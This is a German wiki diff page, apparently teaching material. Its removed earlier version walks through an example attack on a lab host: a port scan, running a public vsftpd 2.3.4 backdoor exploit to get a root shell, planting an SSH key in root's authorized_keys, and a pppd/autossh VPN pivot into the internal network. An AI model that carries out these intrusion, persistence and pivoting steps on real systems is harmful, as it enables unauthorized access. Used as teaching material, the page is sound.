Exemplarischer Angriff: Unterschied zwischen den Versionen

Aus Xinux Wiki
Zur Navigation springen Zur Suche springen
(Der Seiteninhalt wurde durch einen anderen Text ersetzt: „*vsftp4-angriff *vpn-eskalation“)
Markierung: Ersetzt
 
(6 dazwischenliegende Versionen desselben Benutzers werden nicht angezeigt)
Zeile 1: Zeile 1:
=Angreifer=
+
*[[vsftp4-angriff]]
==Scan==
+
*[[vpn-eskalation]]
*nmap -sV 10.80.100.105 -p 21
 
Starting Nmap 7.80 ( https://nmap.org ) at 2021-10-07 16:56 CEST
 
Nmap scan report for 10.80.100.105
 
Host is up (0.00056s latency).
 
 
 
PORT  STATE SERVICE VERSION
 
21/tcp open  ftp    vsftpd 2.3.4
 
Service Info: OS: Unix
 
==Nach Exploit googlen==
 
;vsftpd 2.3 4 exploit-db
 
==Exploit finden==
 
*https://www.exploit-db.com/exploits/49757
 
==Exploit ausführen==
 
*python vsftp.py 10.80.100.105
 
Success, shell opened
 
Send `exit` to quit shell
 
=Opfer=
 
==Läuft ssh?==
 
*netstat -lntp | grep 22
 
tcp6  0      0 :::22  :::*  LISTEN      4360/sshd
 
==SSH Key für root hinterlegen==
 
*vi ~/.ssh/authorized_keys
 
<pre>
 
ssh-rsa
 
AAAAB3NzaC1yc2EAAAADAQABAAABgQCyfX1o6lByLHpnY1IUPYTphHAPECeKukP7kxZOuLCxO7xSIejrwSABRccyPbRu49Y8uuFKrpTHyUWf4H5e/lUH56EWETA6QYrpfNnbwXkMeNmOQ4QBw3y2gF978u4dPelfGn0iLZfqsO5PcvYR8+Mz8GiAGnEtoGpctYoSku1AlzENQVIiK61YrEVJ2dJ59wo6p14JA3Lu6ka/FazCzcA3rtMQyfwwy4LVcKxJ63SBfg7HLRwNu1+9M9oWMr2+RVTN/WAlXmNgF8hnCNR9liNrVKMnKiOPEpMm3+5/KgHmZKy3Da8TrPr9AXiMkZyTkrxs1DyTgojFUEoxrtM60iayPkRjQRB/eYItCSXT6AICmlVAOwPQYVW3PT8QhK5PGxhr72xMA3ehQheeupWPmzXyvYxzfbJCm9GnyFxde+Ylp69/VSmzZrT9E8PIVCWSra7YHuO+JYFMBhDbaexiHOD+Akltb4IbImMlMyOYvkRRWTRssiO543BhdDmyDtiQE+U= root@tauron
 
</pre>
 
 
 
=VPN einrichten um Zugriff zum Netz zu erlangen=
 
*apt-get install ppp
 
=Angreifer=
 
==Vpn-Hack==
 
*pppd updetach noauth passive pty "autossh -D 19999 -P 10.80.100.105 -p 22 -o Batchmode=yes pppd nodetach notty noauth" ipparam vpn 172.29.29.2:172.29.29.1
 
 
 
*ip route add  10.80.100.0/24 via 172.29.29.1
 
 
 
=Opfer=
 
==VPN Forward und Nat==
 
*echo 1 >  /proc/sys/net/ipv4/ip_forward
 

Aktuelle Version vom 25. Oktober 2021, 16:27 Uhr